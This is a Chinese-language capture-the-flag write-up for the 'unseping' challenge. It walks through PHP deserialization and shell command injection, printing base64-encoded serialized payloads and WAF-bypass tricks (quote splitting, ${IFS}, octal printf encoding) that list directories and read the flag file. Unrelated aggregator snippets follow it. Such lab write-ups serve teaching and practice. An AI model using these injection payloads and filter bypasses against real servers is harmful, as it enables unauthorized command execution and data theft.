草庐IT

攻防世界unseping

花名咖啡 2023-05-20 原文

感觉新手题里面最难的一题

----------------------------------------------------------------正文

原题:攻防世界

这个题涉及的只是挺多的,不过主要就是正则表达式,php的反序列化

下面是代码分析环节:

 

因为涉及了php的序列化和反序列化,所以我们应该先看最下面的部分:将用base64解码后的变量序列化后用POST传参。 

然后是_consturuct函数,他是在函数调动前启用,为我们构造了$method和$args两个变量。

_dexstruct函数在变量摧毁的时使用,所以我们把他放在后面。

ping函数(姑且怎么说)规定了我们可以调用系统命令。

waf函数,过滤命令。在变量str中过滤掉\ &  \/ cat flag tac php ls命令。

_wakeup函数,反序列化,将args的值作为变量k赋值给变量v

操作步骤:

根据代码我们需要将它补完整,即添加一个序列化。

这串代码的意思为将ease实例化并赋值给变量a,变量a执行系统命令ls。并将a序列化然后赋值给b,输出b,并将b进行base64编码。

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l""s";}}

经过base64编码后

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

因为ls会被过滤掉,在网上查了查发现三种方法能去点过滤:1空的环境变量 2单引号 3双引号

将变量b进行编码后的数字用POST方法传值给ctf后得到

 

成功看到有一个文件夹为flag_1s_here

我们再尝试用ls查看这个文件夹

因为空格也会被过滤,所以我们用${IFS}绕过。

O:4:" ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:32:"l${Z}s${IFS}f${Z}lag_1${Z}s_here";}}

编码后为

 

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozMjoibCR7Wn1zJHtJRlN9ZiR7Wn1sYWdfMSR7Wn1zX2hlcmUiO319

输入后获得:

 我们看到了一个带有flag的php文件,最后我们用cat抓取这个文件的源码不出意外即可获得旗子

但这里有一个特别的点,就是代码会过滤掉/,而上面的三种方法都不适用于/。所以我们需要寻找一种新的方法:$(printf "\154\163")=ls。

这是我在其他大佬那里找到的,虽然不太清楚是什么,但貌似154转化为8进制转化为10进制后正好对应ascii的l

同样163后正好对应s。所以我们可以将cat flag_1s_here/flag_831b69012c67b35f.php先进行ascii编码后在进行8进制转化。

得到:\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160
所以最终的结果为$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
进行base64编码后为Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319
用POST对ctf编码后得

 

有关攻防世界unseping的更多相关文章

  1. 世界前沿3D开发引擎HOOPS全面讲解——集3D数据读取、3D图形渲染、3D数据发布于一体的全新3D应用开发工具 - 2

    无论您是想搭建桌面端、WEB端或者移动端APP应用,HOOPSPlatform组件都可以为您提供弹性的3D集成架构,同时,由工业领域3D技术专家组成的HOOPS技术团队也能为您提供技术支持服务。如果您的客户期望有一种在多个平台(桌面/WEB/APP,而且某些客户端是“瘦”客户端)快速、方便地将数据接入到3D应用系统的解决方案,并且当访问数据时,在各个平台上的性能和用户体验保持一致,HOOPSPlatform将帮助您完成。利用HOOPSPlatform,您可以开发在任何环境下的3D基础应用架构。HOOPSPlatform可以帮您打造3D创新型产品,HOOPSSDK包含的技术有:快速且准确的CAD

  2. Unity3D : 本地坐标系,世界坐标系,和TransformPoint,TransformVector,TransformDirection的区别 - 2

    目录一、世界坐标系与本地坐标系二、srcGameObject.transform.TransformPoint(Vector3 vec)三、srcGameObject.transform.TransformVector(Vector3 vec)四、srcGameObject.transform.TransformDirection(Vector3 vec)五:示例一、世界坐标系与本地坐标系    世界坐标很好理解,就是模型的transform.position,通常在无父物体的情况下,创建出来的模型默认位置就是世界坐标系的原点。    每个物体都有自身的坐标系,此坐标系就是本地坐标系。本地坐标

  3. jquery - 世界上最愚蠢的人(我)的 Rails 教程? - 2

    我很难找到符合我要求的Rails教程(或书籍也很棒):愚蠢Ruby1.9或最新的1.8MySQL一个游戏(简单的掷骰子游戏)JQuery前端谢谢! 最佳答案 RailsforDummies如果愚蠢是一个主要问题,这可能是您最好的选择。 关于jquery-世界上最愚蠢的人(我)的Rails教程?,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questions/3841475/

  4. ruby-on-rails - 真实世界的复杂 Rails 应用程序? - 2

    关闭。这个问题不符合StackOverflowguidelines.它目前不接受答案。我们不允许提问寻求书籍、工具、软件库等的推荐。您可以编辑问题,以便用事实和引用来回答。关闭7年前。Improvethisquestion出于self教育的目的,我想研究一个复杂的RubyOnRails(最好是3个)业务应用程序的代码,以便我可以了解如何在现实世界中使用Rails做事.有很多“另一个博客”或“另一个CMS”,但我真的在研究一个具有相当高复杂性(在业务规则方面)的Rails应用程序,但不仅仅是CRUD。像房地产系统这样的东西必须足够复杂。或者可能在政府领域(根据定义总是很复杂:))。谢谢。

  5. ruby - PATH 中的不安全世界可写目录/用户/用户名,运行 Ruby 命令时模式 040777 - 2

    当我运行像gem-v这样的Ruby命令时,我得到了这个错误:/Users/kristoffer/.rvm/rubies/ruby-1.9.2-p180/bin/gem:4:warning:Insecureworldwritabledir/Users/kristofferinPATH,mode0407771.6.2首先我不明白这是什么意思。根据echo$PATH,/Users/kristoffer不在我的路径中。echo$PATH的结果是:/Users/kristoffer/.rvm/gems/ruby-1.9.2-p180/bin:/Users/kristoffer/.rvm/gems

  6. javascript - 真实世界 URL 的 URL 验证正则表达式 - 2

    我想验证给定的字符串是URL。匹配文本中的URL也很好,但不是必需的。我已经搜索并进行了实验,但到目前为止,我还没有找到可以满足这些要求的东西:不得接受在被视为链接时会带来安全风险的字符串。例如,clickme是一个有效的HTML元素,并且至少在某些浏览器中确实有效(引发警报等)。我担心如果我允许任意方案(见下文),它可能会损害安全性(如前所述,例如,此处:WhatisthebestregularexpressiontocheckifastringisavalidURL?)。必须在JavaScript中正常工作。如果它在Java中也能同样工作,那就太好了——我正在GWT中开发,所以这很

  7. javascript - 三.JS,改变子3D对象的世界位置 - 2

    所以基本上我有一个Object3D组的子object3D,而子对象的[x,y,z]坐标是相对于父对象的对象空间显示的,我想在其中更改子对象的位置3D空间。所以首先我得到子对象相对于世界空间的位置。varwrld_pos=childobject.matrixWorld.multiplyVector3(newTHREE.Vector3);这将返回child在世界空间中的位置的三元素向量。现在我想设置我自己的位置。所以我创建了一个三元素向量。varnew_pos=THREE.Vector3();new_pos.x=1;new_pos.y=2;new_pos.z=3;childobject.m

  8. javascript - 标记不会出现在 Leaflet 的连续世界中 - 2

    当我设置选项continuousWorld=true时,标记不会显示在克隆的图block上,只会显示在主世界上。它是设计行为吗?可能是我没有注意到的其他选项来显示这些标记的存在?UPD:我的目标是在每个世界上重复标记,如下图所示。我调查了continuousWorld和worldcopyjump不适合这个。那么是否可以使传单像图片上那样工作? 最佳答案 不幸的是,据我所知,没有自动和开箱即用的解决方案可以复制Leaflet世界相邻副本上的所有内容(标记、矢量等)。Tomislav提出的最简单的技巧是手动生成内容的额外副本,偏移360

  9. javascript - 如何使用 HTML5 Canvas 而不是 Debug Draw 来绘制我的 Box2D 世界? - 2

    我非常了解HTML5Canvas,我了解使用循环等的基础知识和动画。我正在使用的演示:(单击以制作形状)http://henry.brown.name/experiments/box2d/example-canvas.html我不太熟悉的是Box2D。我正在使用Box2DWeb端口,听说它比Box2D-js更新,我不确定哪个最好。我知道如何初始化“世界”并且我可以在世界中放置对象。然后,我使用Step为世界设置动画-但是到目前为止,为了在屏幕上显示它,我只能使用debugdraw来让它工作,因为它基本上会为你做所有事情。我不想使用调试绘图,而是使用Canvas来绘制,例如一辆汽车,而不

  10. javascript - 适合 map 以始终显示世界 - 2

    现在我正在尝试做的是根据屏幕大小放大和缩小map,这样您就可以基本上看到世界上的每一block土地。我不担心重复的世界,但理想情况下我希望它基本上以非洲西海岸为中心,就像一张典型的map。我有如下所示的东西:functionfitMap(){if($){varheight=$(window).height();varwidth=$(window).width();//Putmapintofullscreen$('#map').css({position:"absolute",top:"0",left:"0",right:"0",bottom:"0"});if((height586)){

随机推荐